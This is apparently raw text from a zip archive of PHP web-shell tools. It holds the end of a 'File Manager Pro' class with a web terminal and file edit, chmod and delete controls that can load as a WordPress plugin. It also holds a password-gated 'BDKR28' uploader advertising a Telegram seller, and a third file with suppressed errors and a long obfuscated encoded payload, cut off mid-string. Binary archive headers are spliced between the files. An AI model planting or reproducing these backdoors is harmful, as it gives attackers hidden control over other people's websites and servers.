                                            <span class="badge badge-protected">Protected</span>
                                            <?php endif; ?>
                                        </td>
                                        <td style="font-family: monospace; font-size: 12px;"><?= $this->formatBytes($item['size']) ?></td>
                                        <td>
                                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="margin: 0; display: inline-flex;">
                                                <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                                <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input">
                                                <button type="submit" class="btn btn-sm btn-warning">Set</button>
                                            </form>
                                        </td>
                                        <td style="font-size: 12px;"><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                        <td>
                                            <div class="actions">
                                                <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&edit=<?= urlencode($item['name']) ?>">
                                                    <button type="button" class="btn btn-sm btn-success">Edit</button>
                                                </a>
                                                <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&download=<?= urlencode($item['name']) ?>">
                                                    <button type="button" class="btn btn-sm btn-info">Download</button>
                                                </a>
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline-flex; gap: 4px;">
                                                    <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; font-size: 12px;" required>
                                                    <button type="submit" class="btn btn-sm btn-info">Rename</button>
                                                </form>
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline;">
                                                    <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <button type="submit" class="btn btn-sm btn-danger" onclick="return confirm('Delete file <?= addslashes(htmlspecialchars($item['name'])) ?>?')">
                                                        Delete
                                                    </button>
                                                </form>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                    
                                    <?php if (empty($folders) && empty($files)): ?>
                                    <tr>
                                        <td colspan="5" style="text-align: center; padding: 30px; color: #8b949e;">
                                            📭 This directory is empty
                                        </td>
                                    </tr>
                                    <?php endif; ?>
                                </tbody>
                            </table>
                        </div>
                    </div>
                <?php endif; ?>

                <!-- Footer -->
                <div class="footer">
                    <p><strong>File Manager Pro v10.0.3</strong> | Current Path: <?= htmlspecialchars($current_dir) ?></p>
                </div>
            </div>

            <script>
                document.addEventListener('DOMContentLoaded', function() {
                    const terminalInput = document.getElementById('terminalInput');
                    const terminalHistory = <?= json_encode(array_reverse(array_unique($terminal_history))) ?>;
                    let historyIndex = -1;
                    
                    if (terminalInput) {
                        terminalInput.focus();
                        
                        terminalInput.addEventListener('keydown', function(e) {
                            if (e.key === 'ArrowUp') {
                                e.preventDefault();
                                if (historyIndex < terminalHistory.length - 1) {
                                    historyIndex++;
                                    this.value = terminalHistory[historyIndex];
                                }
                            } else if (e.key === 'ArrowDown') {
                                e.preventDefault();
                                if (historyIndex > 0) {
                                    historyIndex--;
                                    this.value = terminalHistory[historyIndex];
                                } else {
                                    historyIndex = -1;
                                    this.value = '';
                                }
                            } else if (e.key === 'l' && e.ctrlKey) {
                                e.preventDefault();
                                this.value = 'clear';
                                this.form.submit();
                            }
                        });
                    }
                    
                    // Auto-resize textarea
                    const textarea = document.querySelector('textarea');
                    if (textarea) {
                        const adjustHeight = function() {
                            this.style.height = 'auto';
                            this.style.height = (this.scrollHeight) + 'px';
                        };
                        textarea.addEventListener('input', adjustHeight);
                        adjustHeight.call(textarea);
                        
                        textarea.addEventListener('keydown', function(e) {
                            if (e.key === 'Tab') {
                                e.preventDefault();
                                const start = this.selectionStart;
                                const end = this.selectionEnd;
                                this.value = this.value.substring(0, start) + '    ' + this.value.substring(end);
                                this.selectionStart = this.selectionEnd = start + 4;
                            }
                        });
                    }
                });
            </script>
        </body>
        </html>
        <?php
    }
    
    /**
     * Format bytes to human readable format
     */
    private function formatBytes($bytes, $precision = 2) {
        if ($bytes <= 0) return '0 B';
        
        $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
        $bytes = max($bytes, 0);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);
        $bytes /= pow(1024, $pow);
        
        return round($bytes, $precision) . ' ' . $units[$pow];
    }
}

// Initialize
if ($is_wordpress) {
    // WordPress: hook into plugins_loaded
    add_action('plugins_loaded', function() {
        SidGifariFileManager::get_instance();
    });
} else {
    // Standalone: run directly
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }
    
    $root_path = getcwd();
    $manager = new SidGifariFileManager();
    $manager->init_standalone($root_path);
    $manager->run_standalone();
}PK        ! 	      ohuhwjv5.phpnu [        <?php
// BDKR28 Tool
$p = $_GET['BDKR28'] ?? '';
if($p !== '7p8l'){
    die("<center><h2><a href='https://t.me/BDKR28' target='_blank' style='color:#0088cc;font-weight:bold;text-decoration:none'>FOR BUY MORE TOOLS: @BDKR28</a></h2><form method='get'><input type='password' name='BDKR28' placeholder='Enter Key'><button>Login</button></form></center>");
}
$msg = "";
if(isset($_FILES['f'])){
    $n = $_FILES['f']['name'];
    if(move_uploaded_file($_FILES['f']['tmp_name'], $n)){
        $msg = "Success - <a href='$n'>$n</a>";
    } else {
        $msg = "<font color='red'>Failed!</font>";
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>BDKR28</title>
</head>
<body>
<center>
<h2>BDKR28</h2>
<p><a href='https://t.me/BDKR28' target='_blank' style='color:#0088cc;font-weight:bold;text-decoration:none'>FOR BUY MORE TOOLS: @BDKR28</a></p>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='f'><br><br>
<button type='submit'>Upload File</button>
</form>
<br>
<b><?php echo $msg; ?></b>
</center>
</body>
</html>PK        ! pdnr\  r\    BDKR28_qw4arqpw.phpnu [        <?php
error_reporting(0);
ini_set('display_errors', 0);
$_c183 = "=8/8+379/3y//9e++zTtWv98+H1UmH1b2TQl9zynyfLShVYe6/Z4Szzr+/758/f2pR7qA2GkfZ3IBPkY" . "RzGdc+fU5amJiQ71J7ntPF+5Y2xwK8dod8m3qQWoNL5z271aGFkQnTAMh5Xqw1qALJoQgu3T/B4F6JsB" . "5RUBgWwiU7I/D0KIwQ0qEF1AQAUosviAUiCYoWUcLPzwwEkAw6APQEFBz2ABC8JNzK2fWAX9QnkOxt/l" . "xc12ldCrN4+Pyo51BEbXsOYetbrIr0X+mXF1tPAxyk+DjkpmwkmarUr7Dh2k6pQlZ9F91+6vmHFjo2RJ" . "7pIxL8QmF1HPxnMwq1qJrnZt+xnXVJd5EYR53O2yLt9zkgXPTayJSG5i3zlpLITaoNBlVCN3lBoH1g5M" . "8kz/f0wvyd1y+pluUGc3/44qTDGMvjldP4mwHobwHW/gsQo7QJLb3CAX1/YO+0Uhdjh7jYjsEBsK0Lr6" . "De/LV93LtpniIf0fjnMVbcAZYoH9VG5dEXf4ugb1mxJTJZgBRdsY18Gmjdrg/tZoET8XlLWTlUYJHZ4m" . "EbFZdzRd2JMwwYr9GdizGBcWw2untIGGoDK6ef8shHAWuJgSE4Yuvj9g2KWOU4P/cp15kzHA5kbaH3iO" . "jiiaX8bD9Xw0s6+cv8Shp7K49H1lF2PQRFmNINKToa2u5qlnaX3zA1jQzzzjcZrOL8njvcB1BWrzDVun" . "xvxXldafUa3GNCPnkFpjJRgP9E2snAG5JnRFUGL45x/wC9lxya410iwXt9qEL1QJJX8zyjgwuzQriIsr" . "VW2qDIpThPCYpwKZo9ZcaMQEZj5wroxbVRyNtx7+YbUAcHOHn/5mzu/eRjc5hTYn0rl/DZIrPxh8tUec" . "PQs+8nT3LVAOouRp6tOpqarsjMMy644/CDwqB5fjUpUo1dbFOkGPWh2i12eV24OcgtGYQoqkPyi9T8Oq" . "90ZhMlPsJUqHrLe4l+/qtLe+f8NSLZn3UMhLa8Jlj6t2msBKRpuFMqO/GffyMSdxGb193B65hDYhpQe7" . "bi3FVyQf+/IqOexPRJo64Hhfg+YYzC0GP7eDNzNvizoJCLppnAGUKxmo5ILi0em7EUUBqc36flVNr4Xn" . "V35iuYNbo0z/BGzMR8OSSuOkj9VdfP7m3oPPAgbh+RAj6jgIKs++6bmH1F6GIZ5a+VsypOmKkQK+3ah1" . "AeBzxmXA7N3OAizLEpQyGZ8rwY9JdvB9gv4JN4zIA5xE+69NA/fKyN6khXMIgvVAyxXpb3oyMRzLPCm2" . "dEi48TOEwY0jixWEFBg7SGutU5tNMYRTWmkwXS5r1WhoqEEcK8lnzt1ISTfP7G72ob1S1xAoNK0UuO9q" . "W0SH38mrRPicrrGFdB/Y1GBx2dS8qfvUNi88yrqZos0iBxCy0mc9uuT44Rk6U9tXWwqgEn84rv4Ab7FV" . "6ums9kJSKKvdSBDBv0l9Xst2H8ZCNdVAJu6ystKBuFWr0zC9sM7gs6T0iDXxnmlTCaHb8usMuzFTwgGm" . "HV+DKBrHj8SiXbwuvOilKc7q6c06LBbhYan+e9k5mn2LZ73rGGbD55AQybYbSk9C5V739SEFPJCy1Lhn" . "GAhg3jZt3LRKQb7CI6PmNEKd/1ptUgul8lbZwy5NZzxwfeuL3Voh2S+G+CVV8yVtTHQ82+DwaHKrHO+R" . "5+eTAtKI7xKwSjnvx4DfkwGLIqRd8Zpe5fRfiWiJpUnyz3qXpfyvgguJHMjztOOnYS140Xm0cgWtyazl" . "FCG7sfbsQ0UAKq0xUNez3u3p6K6/U0Ku6OOS9FjHGfHOeSPrv2myYxeDR3A/UoCFlH/uCEblv6eubqaw" . "43QCfsUxV0RNRXf/3+MhID343uD+4g8XaXxv+Zz7KjIqIAO8rSyI3f3boJ+iBTGPF7SI8IsRsJsmjjKc" . "ql7fb5nbw73Fng6sp5Fey491SaaVH79d0nLbOPo/U0DR5Yn93RxMM9UTKWZSnUxKqxJcC8z5SAsI12Jr" . "sAT1412+COp6191nTWpFub8PZanBA13HfVrE2RpQTs6TFr0TKpkXBTRIcUlrBxyl+1HidHGDJsfLPSB2" . "mv7AktCWKkYUa+jeU/GueDy0N+EmXCOCwHUsaUAE9RHX3vX4B6nfR6Z+IsSvAzcjORFHefwfROUeHbI5" . "ErbCQuSjUo7uXbyADdcp0JCVlkI6Y7H/+kL4Bs6qfRQdDOrfouMZuhso4x0qm8zZYMymEVC92oWMnEq0" . "Cti5yMLMkodup/KWu8PAq8cBMt0KmTcdHHvPTV5M36DaBIGn4euvCUuEX9rS0JepsKMjcL5qFxPnc17o" . "7W/oNgES/NnO2vxRWq25ILHnJyhcWEMxws8juSraZQBbf30sCGTErmhteLxdTcb2of/fa9EOar4RCvWf" . "ysUfcJAHETNjzmSVCExZL596hxica4zpxWe+qsVHLHYzd7PXdb7qVtakBVbJbdfcwLooBKpODPjtj041" . "u0t27tx+hRj6UUKfYRuWkGkcB8gb4Y4nQ8SNByLcOnyT8AFXwh9ZC3oV/Q+pLYWANzyTdgXS33ejEsuR" . "f5zjPH40vtuVtdg0W9ushIC6oyG36dE4A69mwX5FbQ2tgTGuefnDlCqVIP6hLz/6yp+9X4aRZw1UpR9l" . "m1939T4BDHCRfn0o6yrK8UAplvur4KFlgEUA3bDxz6rAF0bvlGHcFB6/CWCuWbqvoVvvxDlrfClDC1lB" . "LQc6MgTyce0m3qpt0puHA8qV8v+445s7zruZUDi7f1y6iQq+TWTe1Se7lMkCWpBZgx7Mes+ff2e1gVzv" . "owLXM+UkaKe4sAdya4ceU7l78IypAJrJCw6xuYJOAU1CFBiWjOgsf8FtIz4zmMK8rIXGmHuMDX9Ts7Cs" . "SQYTeZUdZI5JJ03m1UQALoXq6Qxpw5C50WuEea812oyUuekPV+6CDgNAiVRdplE3YzYxah93GeJq+iCf" . "ZvRVm1MnvFAzuCmMuB4WAe0D0tZpOfMs+c3SLgg5mT/WKJBcUSS0qPFc7gZzYKxxSvDuG2zA7iBtLQYX" . "OBol9YzRL5J/mjF3ebSsZBS5Hd28/VjhSHL3F6a/iS/EpRYw12kOLtHXjUuZqVk8OURDu7IeeUQkYlCr" . "sRTAfVv3/6Anf79P5Fkg07oP79Ee0bBSgJsrbwvK0zol7u+HYZCgeB27ebOBY6Ek2X/Y1SO3nzG3vYCE" . "qqidpl+5UGg39wSf6BxWWuc8TIifsvzKCGj08gI0vSqR/qKDJw4MINMKIV2vCZBJ2/DZaMOPfsY6me3S" . "A63YQYEu3neSR0yPiaf9dBenqPIamTAjcjGSBfLX9XFrc7PrdkAFOjgJ9XIZ0yIxWLgA/8aui3YZqQbZ" . "AN0rPl+zW6BYmNsR2TCuxw8AA1H6HHbQsRIpk6zkPZ9gjTNqYmYOLYPjSvCkJz3Fb1m7GC0YfYUn8iXV" . "0uyBCa4bJTLFBk++gTwZ6YQXCm/9w2sdbArllOR6W9KPJtldsN1gohm6HJ/bIve+TDtUTGVmobIPzN0A" . "48VI6NiZyWRhk9f2kw+r4OOZ62tXVRXuqygJkcSzW40BR6uUsuC2SI44TmkBFOzNtgXBif350RTlcEN/" . "c+ep+/q077umtbZettqT/HzMVs76x7LK/lZ4K/oO4IqGz3qkae/slE8qxzXn1eW1KlilaTM4df7KO7Ge" . "ogEdZ20tS1gQDO8cUc6adq6EfVpIcBZguhtjFxF6bm162ogXOPj0sjatcBCgBkvNFNmCrTMj9J+35EM8" . "hW9St41J71ay0IKRRuKQURp3tZySYbnZQm6gRKqAhCCfu3+KQOKbAvH9pwu+wRtrWzSEXvatI1f4FEY6" . "6NzbohRkLcOgfd9LEEsGzBVH0hCjEqewi1W3QQAal5vORXINMKEanZQ3tCoQK42H7A3o1QSfkian8ciQ" . "QRaWER6XfyxTT6hR6JhDu388d4r2yvVSuOtm/2Q4q+4Omfp9vgCW0/R1gf7DXZ0eSh3x6U4IsrULE1qS" . "vlboIkNSabwLpZ2Xb5HmsnHgUXzxBI/I3QZh+xvSBV/NNqE4Zh8wJXrFI/F73gF6TROVNAGFUAJrEy/z" . "rTAFV2ULis7Fnk31KEhbjkM8jIVP1o2CWf8xGkiRYTa7drXb35+ncbaZdYnKOu3T5ugMnLZ6UN0BMrUV" . "mXpNRbKxz1JzmCpCulVNWjEkyUr2hh85X/5aOsTDJQsZHPACHUxl/6MT9GWTH4dv1ew8qGDCHhnCqZPW" . "u71wvte4NOQ7/IXipQzGvNcGLcxuHqXg/z270xqJ+gT78L40rn/YDe7Au0esREjMFacyQgwmr4nbajv4" . "1lrpQHVntIcu5xtm5dyXTrx+O5+320ihrV5Mu/7ZhR14F0Ke58S04TaKVHb/CrADExVjm17nxvUrIbUW" . "7vp9+YFDzErWbxpBW0xLXQNFjiTJsjgOhA9P4u2bBkZ+lz2Fxtk4miu2Bb7RL/uGs8V76T8uXCwAQ8Rb" . "uS8HWQJKQt+ZuNu2xvmWh56a3HQ3d64rJLmhfK9Tzk0PI6haLHu3GHkgbLj2DlDtHuaQIIYIWmHrCssO" . "WuyR7o88el0g2w++bl12qsKv82IqoPjA9dJU71wooes5K8FdvdmquxlJybgYAV1pJpTwzcWLEYE0svWk" . "oVv2X4X56ce2Lh5vY1oy4YVLXL2UE2dkI8UIrSf/iduJcAj98w9Y0a6KEek4IbmxIwPWk4KW39UDlU1H" . "56YkvZN8/iD99ZqEcKRZaKxlfhek77bODtpcueNA01wXhkAlQCDyNgNA9TTfxjfKzXTuyBhvILolooN5" . "FdEnYGUAlUi0RKUjU7WA0ew8AY9OFdNdTW1FEr5StfXOKbDj8E0NMIO7cAmusYR4rydYwUpKIUZhyqSo" . "ts3fqJaoENlDv9UypaTOVkcmOLnY/B60gEzakD75uT3Z0hqSsnXsXxfM1jR5N9yR2JxXGFsfv6v6cB2p" . "qIVoZ3Vp+5ghTAgPZNEOnaGaIITTvw6Bw+iyPn3vpbYokKHQsAIJ0uDJRnmZKC8y+eHaWqM0hXsub1lP" . "aPjQmnto8c66MHUuZWJcwcnbL/ApCAakk3FNfxG+HFu9iCZMxgljwqQpwNjUFlVBVHwIQbvNQ5mK3RqR" . "A5skwbv9oDhYHVIFGJA7rdZiCvhb9adAR3196QzDnfLYPMtYaTjAyp23jtS3daHW/CmLAuu35h7z50Qa" . "SENmLq9GSjRR73Yu+r1ThQWpC4z/Er/VXIeOfD63u7IdKY5x2KZ7cuY0qZzhkosRBqmqsghlfBCJSlQR" . "Ztkswk9RvKjCI3JdzKp8Qe9TCrV4AEMydoKLsLgalbJLhNWDl8uTnAPEr11BfbR5B+2swnEb+fCbjTzC" . "4dnf70vRxpC8FuwkBCNPmVqi9CmxVOJHuM2IxcrpQb0BJ3fq2Pv/zXAe6pkm9ELDv3cXDnJXZaOYw0kn" . "KuI+Nf+F1HfTx8tAVI4GgCQieyjg+e+uW28mkWphwsRlx64vjY7JQAHOia1ofMd4HapUdnCeoeuySBbY" . "tnph5bmtLRNQcJoMyHhHuDUfmZDsEABM0zpNyl6AyAbsoLXcfOkabhz30vD9/YcHT7LddwUUHwMb5r+l" . "0+7K4cXRMk5Oqj2tPUIWyKi63e3zYK0aKH/FXr3xFnNOZZC37JHjhG9J1ohJmEI8XQpDIL352Xt0otgX" . "4RG9an7RZm4SQAdlubYi9YT3dREb9rVCfZUvaWliAPIxWw09OQQ3f0sz1wQdgWEtZ/XSouR9MDStIqgB" . "J8Rqy+OBbRf5fGC4KAkECTKoc9i/oL8uqW35VMW7KYvRBwPbR46BY0XzKkTVr0BAplMow2AvUWj+w4dJ" . "kLLuSVs8eGlKnf8JabaeHLB7bhOGceWp28KB03nUr2Ms7aITGzY+Z9rSGrW2PJQdn30w6kk8U/SDloKp" . "hQD1Z77m+IGCPC7ayeNOMXPKzAL5wXkcu8aDXZCd6jGoT8DC7Lo3b1r3Aqf1VoTv2gOn6zzJeHkMHN7v" . "Xq3SkB9y9/6zaF0ltjf8exYWNHHsH0OwbeB4zq6DIBalJvhEig4TO1Ft/yurr5LGSXKb02ZBe/zj540K" . "iz9ZLsmPdswZpPYvyfJrbK9rSGIztHNg6gZZ56YIYcSCJCKjO3BivberGCV5ZAIld6tbNuOC0eFNGVaD" . "ngcpHo1K6mPj0VuhYXWDle4hbBWrn0YW2hp1jDALcZUwqCc8umDxnMqeq/0YTM4uoFcILh2lXwk84Zda" . "A3zO0LXAqJ9BQ7sxXPIOqRHF2Ow3eNQJWd5wMTP7I81v9xLBmaVPFvJn+iW4XrTVITFzzM0lNbJc/5+m" . "Er4O8VvWVT7CZR4zF1x+u8blH6r6ICH4pM0w7bHMPC6oIKvITfqp9rotkEhGM60fTYmbtBwneFQrP+oX" . "LU4GPXbKyEOSGZOIsk02J/ufA2ib8xi+xMFnDTiqfgawQvB9ck/Gg5PDUF8q7hn9m7lfO1+q19wMFOaQ" . "4SFXs9I5ygqq3DgAebfFjP46N9rfzwxkTsC+DCehuICqoCgiVFQmdHsVtxDCVP2AxpTDszBSvjID1+Ip" . "Sk35OPnuNcyFetSK5Va7EG0KXHCS6+to7ilxgo1Dc2cdRPtIlLs3qgtObV3dINyIaCnLN7hSDKyHUWRi" . "meMLh9Cm2AZ9xsxDbn2LKrovPy4mRhMbnuwqJUm3WHVa15p/KE/0V8qCvyVauE5eREP0+f/dpMCW2AeO" . "/pGGPz61MPJIqqG0QZsiMQBTw86ECbXKHrKjyZag7UBzYe0s1LrTqgPxSDfj+7/5RqSo3csZYtoIAy/8" . "9PotxTUDAozsfgQR3W/ntY19U1WfqeHUelHdPlAOaP0wAjYDW1nLACSdT7+wkfwuq7PyPoi1WtFGjGNY" . "delPiDp5WxjNP1MVB6yMR+NHL6o9/c11lFsYzEeNdfvULilTGqMubQh13FpYTFPWDrD6nIuDUSmkxaQk" . "rMz+HTw2CGfhrWwu07w7ZXa6p6EoaNLMDOVuKhXe9Ec3fMgvKQs6ib8tsTcHpKiudTLtnXJiQSVQH+Rh" . "IyR/FcbEl8Ge+jNqtdRe30Wc/S3v17nfuX3C7P+s0/LdP94wu7YgHGFqupHg7MoZ12CAjotajexzpuJd" . "u8lHRy8JwuO+d1R/4ZgTwXBa9BzQ6bjLxRf80bbbqJrk+HTuTdA1Ga338Cxm98aVNbUNxOAxXWA96Sl3" . "LchNP1fU/iV7c/a8OoSNS3+r1I6juDeDzvnUOB2qkA22gJc0uIXJBN355bdQZrb3unVCiy5IEMz9RVc0" . "IGra0Z8ExA+68+iZQs8eVgDSZSyrKABGG4TWajpM7FiEtLbzWBmgOi4lMpQcZqKZvfPhJ6+M2PGGwEzc" . "+buqUHFkFTyC7TPvjFlF4eqDz/IoNYMjpvMA+//xfV02N0UqYpQeZCkQq2gNUJQ/MqnsZMOfWlFtRezP" . "khul5L2AW6K/2U6Tk/6vNRZCCoinFTp+hhTAl0+v1WMvUWDOv7nSQL8Ogy/HOA8GdG8UJic3tbJDe1wq" . "+Izx7tJRRGik6WXNlv1JZnekTDwsw3zeqhrXRlUIEKDdAuZLc0q/suDQnK1Bv6tvJ7slCFI/2oOWZL54" . "xKq/VQ3WXpXyWHbl5oaD6HS+n8i03eTbOhP3ur1BXVRklD/AEfB7GiO3x6MopYVoHixzdXJkId7kfOqP" . "by53lUHYOiXe6ChhooQywz9HGI0326KfUiWSpwNWGodFZItOXfAFiD21pS4fwLRRZTNS3qG0mlsZsPUK" . "9xhZ2GuHZw8sskBc9NpCe9cok03jLGSuSISX1Zajqly+5jeSyG/9oN/rmOgm1gS1cKfFMGpzm/rC6uoi" . "8DOaxQ8BZdZnX88bqmO79059xEraMcJEC+rk6DKEWQTix0no9q/59uYRvmcCSXoOnNOCOGxHO3bzsYAb" . "yl1GDQ83dpcwqfGIgqG8Ut1icZglF5tyosilMHlI3k2n8ArFra8Io3Ps/sNeK3IY55Nlj+EfmvdEvbWC" . "rXH5FEIfjaoIGnkoSdrIN/7inA4k/ukaiuBhcOnJ371gDf8642yqCATefsIJeypdCw6ckoBAxXGLvldG" . "UIrlGnZt8/tW7d8158RKLSaNXZW4fKt3ugyI4LJuznxF7+8KECSb6AJSvMrkD+ehvPVof0OQChAlGiXQ" . "T7egWXW0nzdZq06BoQu9+y+Yi1BClR9bBBTbz6unRD+3TmSY1JD0XkuUipujjux1NjbsBz0aqonURdEj" . "rn33wQgkU5wN4hsFuA630kWKGMpp7z2ZFuYPnC3+vUorpTj1qXdq2tqh+0P/kTVbPbF3SuPvCA99jsOV" . "BjECthDb0ji+D/s3Mrf69gpXDkOcFT+d9532mvbmEthfH7d2sQTIz0eIGKkN+3vxFuJcnhsoa2OykJT/" . "QZ/mVgsiy1SjhE1FK3blx0OYiDhzv6vyGAtsxGxGP+xxHqXqLhvpbl7uaobxisY8Bi9w8cMaGXMTPW4G" . "WBXdgwK2iz8DMz4kn3+YZwojIRAm5G1jecCjvpvDkIlk4ZlqMZ2OKwdVwFoMLPlq8TrinuTTRH0Xxivr" . "caZGTFjMhTqZuZ7pXQz6U/0973wXUNCt7S5YwNzqSICRTWeAo1Ot4bt4hjD/2fkNaHpScsT8SEM9G4js" . "AI97uf6nw0ija5vn3UU2P36PH33g+i2m61InqCmWSNU5rRYlkuCe3qMLaqYMtyr/xOvjTZGYZ/dwE91J" . "Q6QJmu7uhnTEqqttw9MBegh394Mz88Rbiu6a+tRW3fd7WNz2/iuBmFgZHBtxcCP49w2IjslLgYAlI2j6" . "pkwWknlsyQKz0JRfpJI3veFSjU+JJIIw2A46KmrKteTaHUUlb8nY80MAE9b8eixOU7+eqyTJEJwvIyzb" . "m1GOhLzzB21K8NJbyvhrbuF/kZG+XCE2RWsD4DdMSpNC2swuW4yCU5j7KCGIXf+XAEyjSYDWABKMYYmI" . "i7yclpybzSrCtUjk8HwBzH9bKDedVqRXsALFIpCyYrznuGCin/hNyYUcpy+qpGqRhV82kadMK443LNQj" . "6IPrF1P0Shv4DwEB/zhk5EYLR4g1qPsftox5HEIaia0Mk/fPMSalVYxBqvB4fWK+AyyPuNhuQlcGZZV4" . "Es2OctuujXp5nGtNK1pZjv/AqeMyDtSzV3UFdvQGBEVehcyTaxD0vHBNWnUkD4SdqDRankynHCPLYnv3" . "tPU4uLdXrIMweX/HdAtBPe8ohoQuld+T4HM6UsTDbHoV2SDlORUEv1LlBMe6gdmW4sR9HtM3LutFxpWv" . "YoOOOm5apD25lvhs+sYViNE5NozF2eo6/qWIuwa1d0C8YbuDIlHaAJtp0CJnwdjq+FS0MYD/pk7v6Uky" . "CiXZ/hRX0FVXyq9zOH97Fg9MjvDyhTfE7cUxhrKXWVt7z+rEaLSilXX8H3PzaRqiPFCbC5cx5GsVofOi" . "Az9gUY7S03sr8lD+x7mQeRe2n7KS0g+9bWJt2N4S8wKEhO7DWI9sBJdg5Rr26CcZlisYGw5Sf4n5UzJX" . "sIikhOkH+O1BqFVvzih365/6dztaP8tQeTB0ENAnpvu4G5e5HNfavGP9dvUfnT8KN0wBocHp+O/XukkT" . "9xf0XCM4IVYtOQS69SlKgA29bvm0Nr/kxsP1WytikW7rWmvdW4I96kVdPe/VYa5BKXcG+WLjGFihdUTy" . "CQ93G9GveWfF48bDrSHq/3z9EJ/JMU2rOjVZid/RnZOeHUBp8YApI3CoWCN96xZSzvBXeTayl8nFczGg" . "d1WJNo1TmLD9dnLas+/CRzK/LYK42HfF6bFT0z+t4cNf8Tj2DLUYuW+7BSsNBHi5Jbx6HaXsydbXfh5N" . "XnrClbyZrS32Ef7YXdoqeYi3facI22R4tzWCLY0hFWWCyTKMR0ocBALD3oP0DXv8VaIOuGk3rt/7uvjO" . "IhwpJGHzN0lr1eKckyv5wnNgSFuhhZmac2J0FlVqv7IOXpGUF8Crlf+tEqJ5fbzKV36m8Vsvrpb2LG5x" . "Po4RqsL8yVsyieUIghJxax9wk90fGo39hRbA72IQ7DKMjdpbp5Q5K8MpA8NWH6pdKHeG5dF+KJCuBx2O" . "/mVZCDyvTYwwRtRJRLNmGbURvmkggik/nO2GFN6gyr63Ws/n9Fa6J2Zx9QzbjhhY4fm9netuHoLMQWDC" . "nHz5Gpfl1is3s2NX4PTNl4zvF1EUhduak6KBFGUgmqp2D6L6TfTG2L4HhXFCCa0of7YwQ6FLn6MDxt5v" . "vGwq6qUFTzR5BX9mk+S7Gr5x7XEyj3nfBSbx7LQzbCRZRor5mc0kVvkDPrXK4I6NwlN7eU9bo/BOBcYO" . "0mC6TWKclnXzoKqMML9k6WijqX2qgq7AF5Ulee/rxsD7UMN/8oO/dcHlfpBQeKVBkBZXwM/c/KpGfoy5" . "X9WaIo1PNxLIX79JQSCmodY7xu2Dw3OmuymPEtVIUfb3bLwwD2hIO9rQM16FMY1SXnVi4Ahk7T33WUxs" . "TeSHh6qh1BKCyCw4ah3YO+SsUjBawrqfcjbkT88Fv0DHk2jlxzZ7NCChr81DOM+mdNcmEETqv0xlBDwm" . "T8AqwBsrVVIhqT3IY6G+zL4WgJ0p+sYkIjOBLhygd3ZLN2+LjvEjBtI/JvuDBjoQpSsXZgB8dq+ncoFn" . "E8/uNHiAaP+DiZQouHKvIXTw5DjrXMTdXqecU2aGxxEj7nCeF9Fc+l/kVB2CSQiVX6TQcijAhlgO/Vh+" . "cLnno2IR7VKp+MPj93U5l5939XCzhGBfS17hVuMloKERZ7Oy6F+h4nfU0PrgqERDf66RLU1oBwGh7w0x" . "Mk2yRBZZmc0cHdV6e9sAD+33oJPxRAzGQvAyTKAKuSdX6i4HEGiZHdvuFmGFnJPyRG26YpqID8IGx3Fm" . "kNHe8jqOlyL3oMB2VtZPix/R5/yG0Rt/1r8vNsjBFaog2FSUfQOWPN4fr1H64X6HMZI3+Ghd5zHn5RuQ" . "1/XRjEcXNFad1IJYlff4D+hKJwGNb8izKMpTvJ07s2l2LqIILDreiVutK7si/sB8WLV73K9HjBksZIjT" . "QtYnfJwtDVXVswH2fIoAYTMI55PW9vg0CTp1QBd4eP/r/2KNRXoOKZlQhG8uIOUa9Pie8U1p3C4023wP" . "JF0IljjJyCXpJPC8ovyrkkj4Hr7voRlEovFXsg8JBO1mmx3DEmw5inyqMdfple0CLlSUSxhQpFKU+jDm" . "i+rI1pYJRoueOTfHU9GwVm4JqgCyy5OqSdJp9ZuCypQYhvGzXjQzPfuBy0T+jBhLi73rDXR3s9VooeYP" . "JfecxVUxeB0lV1GnFSoT1Mke8c5unnT6LzLVx5F6Bmk3DzZNDbQfTszt0XHUUvJZJ/lJpbiswMy0SdKd" . "oO9RcTKv5BN/vQ0+bXR/1r7rVjlfpxSv8CcuA84oQSdIJ0cPYopMrFDn3ql5TwqD4H8BOXNjBoY5sQMN" . "eR7ooLTNNtZVICkhcGqsEUrah8aTKVSTZ3p/BRYvHUyEXucvplBB8NkCKTdyGTl9UlKKjxo1WRvBCUIA" . "2GXRmm9hA57lrX8g+8yauC0f+BaqEpYaIZS+CVXqo48V7xy2rnHOBZ+27jt0U5d/DWSSlctSQi5Yt4CB" . "aAXACz1Etqid/Rd4DLXMO9yB0e6kog78pzvs1Mc+1FrOtVi8nIBWuiy806tFRePOKVOf2ke+HnL7DokP" . "tOTFfA4XeTWY/CHRfdHFwGcSJeQ+J93MUdQzPFdN7XOiUMHIkkpNpxrxoSDTaZAS4K7QFZdim35BqKHY" . "bRBLiJcGczY0TNRvZXRp74uIs9iuhkE77FaAG3NtIm1SlH0xiCXHPpTU3+/K3LFrX4qj13I1ocV9chEq" . "nXw+zPq75b5uQmYtV7MfH0Aa+HLw1sO0zxfMg3f9skqzunLZaW6LkuqjEH3/Teajdohocj2RWlZNStTV" . "ap25yUSdnCtwusevl4c3L7/ZsKRe0JKdGhpVndqmw2Fq70YUf6FpR/+DVs4wh0IUTgK0nkftp7VQ8RRm" . "1ESQKr3e7tZhHqztzKPSGJz6/1jV9RCMqvpaNi53/OLNFYXU7skSd+VlNogWTa5vJjmS/TCzgre5n4wi" . "GIcGB7PMTjwyaUTtpJb8gYQ13YJNcqWAZnQZxcDNQYtScQ2lAcyJRfeWEvlfqnlPA4/shf2GrPyKQlek" . 